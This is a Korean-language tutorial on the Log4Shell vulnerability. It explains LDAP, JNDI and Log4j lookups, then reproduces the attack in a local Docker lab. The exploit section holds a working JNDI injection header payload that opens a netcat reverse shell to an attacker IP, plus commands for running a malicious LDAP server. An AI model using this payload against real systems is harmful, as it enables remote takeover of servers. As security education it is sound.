1. 기초 지식

 

1.1 Directory Service(DS)

여기서 말하는 Directory는 데이터, 프린터, 컴퓨터, 사용자 정보 등 데이터가 저장된 용기라고 보면 된다. Directory Service는 네트워크 서비스의 일종으로 네트워크 자원(사용자 계정, 프린트 정보, 컴퓨터 정보 등)에 접근하여 관리를 용이하게 하도록 하는 서비스를 말한다.

 

1.2 Active Directory

AD(Active Directory)는 Microsoft에서 개발한 디렉토리 서비스 이다. AD는 다양한 표준화된 프로토콜을 사용하여 다양한 네트워크 관련 서비스를 제공한다. 회사 직원들의 계정 정보(ID, Password)와 컴퓨터에 대한 정보, 그리고 회사에서 강제하고자 하는 정책들(패스워드를 최소 8자리에 30일 마다 변경, 컴퓨터를 5분 이상 사용하지 않으면 화면 보호기가 실행, 프로그램 설치 혹은 업데이트 등..)에 대한 정보를 저장하고 이를 관리하는 디렉토리 서비스이다.

 

1.3 LDAP

LDAP(Lightweight Directory Access Protocol)은 네트워크 상에서 조직이나 개인정보 혹은 파일이나 디바이스 정보 등을 찾아보는 것을 가능하게 만든 소프트웨어 프로토콜이다.

 

1.4 JNDI 라이브러리

JNDI(Java Naming and Directory Interface)는 클라이언트나 서버(디렉토리 서비스)에서 제공하는 데이터 및 객체를 발견(Discovery)하고 참고(lookup) 하기 위한 자바 API이다. 연결하고 싶은 데이터베이스의 DB Pool을 미리 Naming 시켜주는 방법 중 하나이다.

DataSource ds = (DataSource) ctx.lookup("java:comp/env/jdbc/datasource");
assertNotNull(ds.getConnection());

JNDI는 일반적으로 다음과 같은 용도로 쓰인다.

  • 자바 애플리케이션을 외부 디렉토리 서비스에 연결(예: 주소 데이터베이스 또는 LDAP 서버)
  • 자바 애플리케이션이 호스팅 웹 컨테이너가 제공하는 구성 정보를 참고


또 다른 설명 (https://ss-o.tistory.com/135)

  • 디렉토리 서비스에서 제공하는 데이터 및 객체를 발견하고 참고(lookup)하기 위한 자바 API
  • 즉, 외부에 있는 객체를 가져오기 위한 기술

위 사진에 대한 설명

  • 사용자가 요청을 한다.
  • 요청은 Control을 거쳐 Model로 전달된다.
  • Model로 넘어간 요청은 JNDI에 등록된 데이터베이스 객체를 검색한다.
  • JNDI를 통해 찾은 객체로부터 커넥션을 획득한다.
  • 데이터베이스 작업이 끝난 후 획득한 커넥션을 반납한다.


또 다른 설명 (https://docs.oracle.com/javase/jndi/tutorial/getStarted/examples/directory.html)

JNDI는 오래 전 부터 Java에 존재했다. 이는 디렉토리 서비스로, Java 프로그램이 디렉토리를 통해 데이터(Java 오브젝트 형태)를 찾을 수 있도록 하는 역할을 한다. JNDI는 다양한 디렉토리 서비스를 이용할 수 있게 해주는 많은 서비스 공급자 인터페이스(SPI)를 가지고 있다.

아래 사진은 JNDI 구조를 보여주는 사진이다. 아래 사진을 보면, JNDI는 LDAP, DNS. NIS 등 다양한 SPI를 지원하는 것을 볼 수 있다.

JNDI에서 지원하는 SPI중 LDAP를 이용한 방법은 다음과 같다. 아래 코드의 역할은 정확히 모르겠지만, localhost 환경에서 ldap 서버에 데이터를 요청하여 사용하는 것을 볼 수 있다.

Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
    "com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://localhost:389/o=JNDITutorial");

DirContext ctx = new InitialDirContext(env);

ldap로 데이터 혹은 객체를 JNDI 특성상 가져온 데이터를 참조 하기 때문에, 만약 해당 주소를 공격자가 수정이 가능하면 악의적인 객체를 불러와 실행할 수 있게 흐름을 바꿀 수 있다.

이러한 이슈는 이미 2016년도에 black hat에서 발표 했었다.

https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf

 

 

 

2. Log4j 라이브러리

 

2.1 Log4j 라이브러리란?

  • 개발 코드 혹은 데이터를 로깅하기 위해 사용
  • 로그문의 출력을 다양한 대상으로 할 수 있도록 도와주는 도구
  • 콘솔에 출력 뿐만 아니라 파일로 저장 가능

 

2.2 예제 코드

아래 코드를 보면, Request Header에 `X-Api-Version` 라는 Header의 값을 `logger.info()` 함수를 이용하여 출력한다.

// 출처: <https://github.com/christophetd/log4shell-vulnerable-app/blob/main/src/main/java/fr/christophetd/log4shell/vulnerableapp/MainController.java>

public class MainController {

    private static final Logger logger = LogManager.getLogger("HelloWorld");

    @GetMapping("/")
    public String index(@RequestHeader("X-Api-Version") String apiVersion) {
				// Here !!
        logger.info("Received a request for API version " + apiVersion);
        return "Hello, world!";
    }

}

아래 사진은 Request Header에 `X-Api-Version` Header를 추가하여 서버에 전송하면, 콘솔창에 출력되는 것을 볼 수 있다.

log4j 로그 출력 중에서 pattern을 지정하여 출력할 수 있다. printf 함수에서 format string 을 이용하여 출력하는 것처럼 형식에 맞게 출력할 수 있다는 뜻이다.

아래 사이트는 다양한 pattern 종류를 볼 수 있다.

https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout

예를들어, `%d{yyyy-MM-dd HH:mm:ss}` 이런식으로 pattern을 지정하면 그에 맞는 형식으로 맞추어 출력하게 된다.

 

 

2.3 log4j 사용 목적

기업마다 log4j 라이브러리 사용 목적은 다를 것이다. 다음 내용은 실제로 하고 있을 수도 있고 혹은 이해를 돕기 위한 하나의 예 일수도 있다.



기업은 사용자의 특정한 행위를 기록할 수 있다. 에를들어 사용자 로그인, 사용자의 로그인 IP, 시간, User Agent 등을 파일로 혹은 콘솔로 기록하여 이를 서비스 운영에 도움을 주고자 기록할 수도 있다.

이 외에도 다른 목적으로 로깅(logging)하여 데이터를 모아 다른 서비스에 사용할 수도 있다.

 

2.4 log4j Lookup

log4j 라이브러리 중에서 Lookup 기능을 제공하고 있다. (https://logging.apache.org/log4j/2.x/manual/lookups.html)

이 기능은 공식 사이트에서 다음과 같이 정의되어 있다.

Lookups provide a way to add values to the Log4j configuration at arbitrary places. 
They are a particular type of Plugin that implements the StrLookup interface. 
Information on how to use Lookups in configuration files can be found in the Property Substitution section of the Configuration page.

조회는 임의의 위치에서 Log4j 구성에 값을 추가하는 방법을 제공합니다. 
StrLookup 인터페이스를 구현하는 특정 유형의 플러그인입니다. 
구성 파일에서 조회를 사용하는 방법에 대한 정보는 구성 페이지의 속성 대체 섹션에서 찾을 수 있습니다.

쉽게 설명하자면, 출력하는 로그에 시스템 속성 등의 값을 변수 혹은 예약어를 이용해 출력할 수 있는 기능이다.

  1. `${}` 형태의 문자열 변수를 전달
  2. Log4j 내부에서 파싱(parsing)
  3. 해당되는 기능을 수행
  4. `${}`를 수행 결과 값으로 대체

예를들어, lookup 기능을 이용해서 현재 시스템에 저장된 환경변수를 출력할 수 있다.

https://logging.apache.org/log4j/2.x/manual/lookups.html#EnvironmentLookup

2.2 예제코드에서 사용한 코드로 실습을 진행하면, `X-Api-Version` Header에 `${env:HOME}` 라는 값을 전달하면, 서버의 콘솔창에 `/root` 라고 출력되는 것을 볼 수 있다.

위에서 설명한 Lookup 기능 중에서 Environment 말고도 다양한 것들을 지원하는데, 그 중에서 올해 이슈가 된 JNDI Lookup 기능이다.

https://logging.apache.org/log4j/2.x/manual/lookups.html#JndiLookup

왜 log4j lookup 기능에서 JNDI 기능을 넣었는지 모르겠지만, 위 사진처럼 `${jndi:asdfasdf}` pattern을 쓰는 것을 볼 수 있다. 1.4 JNDI에 대한 설명 중 JNDI에서 SPI를 지원하는데, 그 중 LDAP가 있다. 이는 이미 2016년도에 JNDI와 LDAP를 이용한 RCE 증명을 했었다. 즉, log4j 라이브러리를 이용하여 JNDI Lookup을 사용할 수 있고, JNDI에는 SPI 기능 중 LDAP를 지원하기 때문에 이러한 최악의 문제가 발생하게 된 것이다.

 

 

 

3. Log4shell

Logj4 RCE 취약점의 별명을 Log4shell 라고 불린다.

 

3.1 발생 원인

위에서 설명 했듯이, Log4j 라이브러리에 lookup 기능 중 JNDI Lookup 기능을 지원한다. Log4j 라이브러리를 사용하기 위해 다음과 같은 코드로 특정 데이터를 로깅 한다면 99% 취약하게 된다.

// 출처: <https://github.com/christophetd/log4shell-vulnerable-app/blob/main/src/main/java/fr/christophetd/log4shell/vulnerableapp/MainController.java>

public class MainController {

    private static final Logger logger = LogManager.getLogger("HelloWorld");

    @GetMapping("/")
    public String index(@RequestHeader("X-Api-Version") String apiVersion) {
				// Here !!
        logger.info("Received a request for API version " + apiVersion);
        return "Hello, world!";
    }

}

그 이유는, 공격자가 apiVersion의 값을 요청만으로 조작할 수 있기 때문이다. 예를 들어, Log4j는 다양한 pattern을 지원한다고 설명 했는데, 그 중 JNDI Lookup pattern을 공격자가 삽입하게 되면 Log4j가 JNDI를 통해 LDAP 서버에 접속하여 객체를 참조하게 된다.

 

3.2 환경세팅

취약한 환경을 만들기 위해 Docker를 이용해서 다음과 같은 명령어로 환경을 세팅한다.

docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

서버에 접속하면 다음과 같이 출력되는 것을 볼 수 있다. 아래 사진처럼 보인다면 환경 세팅은 끝났다.

아래 사이트는 Log4shell 취약점이 제대로 동작하는지를 알 수 있는 LDAP 서버를 제공한다.

https://log4shell.huntress.com/

View Connections 버튼을 클릭한다.

버튼을 클릭하면, 아래 사진처럼 Log4shell payload를 얻을 수 있다.

취약한 서버로 테스트를 진행한다면, 사진 아래에 해당 서버로 접속한 로그를 볼 수 있다.

 

3.3 PoC

위에서 세팅한 docker 서버는 Log4j에 취약한 서버이다. 테스트를 하기 위해 패킷을 중간에 잡아 Request Header에 X-Api-Version Header를 추가하고, 바로 위 이미지에서 얻은 Log4Shell payload를 복사하여 X-Api-Version value 로 넣은 뒤 전송한다.

전송하게 되면, 서버 콘솔창에는 다음과 같은 에러가 출력될 것이다.

이때 가상의 LDAP 사이트를 새로고침하면 아래 사진처럼 서버가 LDAP 서버로 요청이 들어온 것을 볼 수 있다. 즉, Log4Shell 공격에 취약하다는 것을 증명한 것이다.

 

3.4 Exploit

악성 LDAP 서버를 만들기 위해 아래 파일을 어디서든 다운받아 압축을 풀어야 한다.

여기에 업로드 하지 않는 이유는 악용될 가능성이 매우 높기 때문에 업로드 하지 않는 것이다. (구글링 하면 찾을 수 있을 것이다.)

 

압축을 풀면 JNDIExploit-1.2-SNAPSHOT.jar 파일이 있는데, 해당 위치에서 아래 명령어를 실행한다.

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i your-ip -p 9999



Reverse shell 서버를 만들기 위해 터미널을 하나 더 열어 다음과 같이 실행한다.

nc -lvp 1234



취약한 서버에 RCE를 하기 위해 다음과 같이 Reverse shell 서버로 접속하기 위한 코드를 base64로 인코딩한다.



`X-Api-Version` Header에 다음과 같이 작성 후 전송한다.

Base64 값은 위에서 얻은 것을 작성하여 전송해야 한다.

${jndi:ldap://172.29.209.41:1389/Basic/Command/Base64/bmMgMTcyLjI5LjIwOS40MSAxMjM0IC1lIC9iaW4vc2g=}



위 요청을 보내면, 아래 사진처럼 Reverse Shell 연결에 성공하게 된다.



4. Reference

https://m.blog.naver.com/sung_mk1919/221824347182

Active Directory란

https://mpain.tistory.com/153

LDAP와 AD 차이

https://blog.naver.com/sung_mk1919/221824347182

JNDI란

https://go-coding.tistory.com/76 https://ss-o.tistory.com/135

Log4j 보안 문제와 해킹 과정 재현하기

https://junhyunny.github.io/information/security/log4j-vulnerability-CVE-2021-44228/